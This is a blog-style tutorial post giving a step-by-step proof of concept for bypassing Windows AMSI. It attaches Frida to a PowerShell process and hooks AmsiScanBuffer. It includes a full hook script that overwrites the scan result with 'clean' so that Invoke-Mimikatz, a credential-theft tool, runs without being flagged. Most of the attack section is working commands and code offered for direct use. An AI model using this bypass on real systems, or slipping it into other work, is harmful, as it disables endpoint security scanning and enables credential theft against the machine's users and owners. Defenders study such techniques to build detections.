PowerShell AMSI Bypass: Implementing a Runtime Hook with Frida

Introduction

AMSI (Anti-Malware Scan Interface) is a Windows feature that allows security solutions to inspect scripts and detect malicious content at runtime. In this post, we’ll explore how to bypass AMSI detection for a known malicious PowerShell command — Invoke-Mimikatz — using Frida to hook and manipulate the AmsiScanBuffer function at runtime.

What is AMSI?

  • AMSI is an API used by Windows to scan memory buffers for malicious content.
  • Used by antivirus and EDRs to catch in-memory threats.
  • PowerShell, CScript, and other interpreters use it to scan script content before execution.

Bypass Concept

  • Use Frida, a dynamic instrumentation toolkit, to hook into the AmsiScanBuffer function.
  • Intercept the scan request.
  • Manipulate the result to trick AMSI into thinking the buffer is clean.

PoC Breakdown

1. Open PowerShell and Get Its Process ID – Open PowerShell and run the following command to get the Process ID (PID) of the currently running PowerShell process.

Get-Process -Name powershell

2. Attach Frida to the PowerShell Process – Now open Command Prompt (or a new terminal window) and run this command:

frida-trace -p -x amsi.dll -i Amsi*

This command:

  • Attaches Frida to the PowerShell process
  • Loads amsi.dll into context
  • Hooks any function starting with Amsi (like AmsiScanBuffer, AmsiOpenSession, etc.)

3. Locate and Edit the Hook Script – After running the command, Frida will automatically generate trace handler scripts for matched functions in your current directory under __handlers__/ or directly as amsiscanbuffer.js. Open the generated AmsiScanBuffer.js file in your text editor.

4. Modify the Handler Script – Replace the content of AmsiScanBuffer.js with the following code:

defineHandler({
    onEnter: function(log, args, state) {
        log('[*] AmsiScanBuffer()');
        log('|- amsiContext: ' + args[0]);
        log('|- buffer: ' + Memory.readUtf16String(args[1]));
        log('|- length: ' + args[2]);
        log('|- contentName: ' + args[3]);
        log('|- amsiSession: ' + args[4]);
        log('|- result: ' + args[5] + '\n');
        this.resultPointer = args[5];
    },

    onLeave: function(log, retval, state) {
        log('[*] AmsiScanBuffer() Exit');
        resultPointer = this.resultPointer;
        log('|- Result value is: ' + Memory.readUShort(resultPointer) + '\n');
        // Force result to 0 (AMSISCAN_RESULT_CLEAN)
        Memory.writeUShort(resultPointer, 0);
    }
})

What this does:

  • Logs the AMSI buffer content being scanned
  • Intercepts the AMSI result
  • Forces the result to “clean” (value 0), so AMSI thinks it’s harmless

5. Test with Malicious Commands – Now, in the same PowerShell window:

Invoke-Mimikatz

  • Normally, AMSI would block this.
  • Now, because we hooked and force-cleared the scan result — it gets executed without flagging

Conclusion

By using Frida to hook AmsiScanBuffer, we can intercept the malware detection result in memory and overwrite it with a “clean” result, effectively bypassing AMSI without patching or disabling it.

Leave a Comment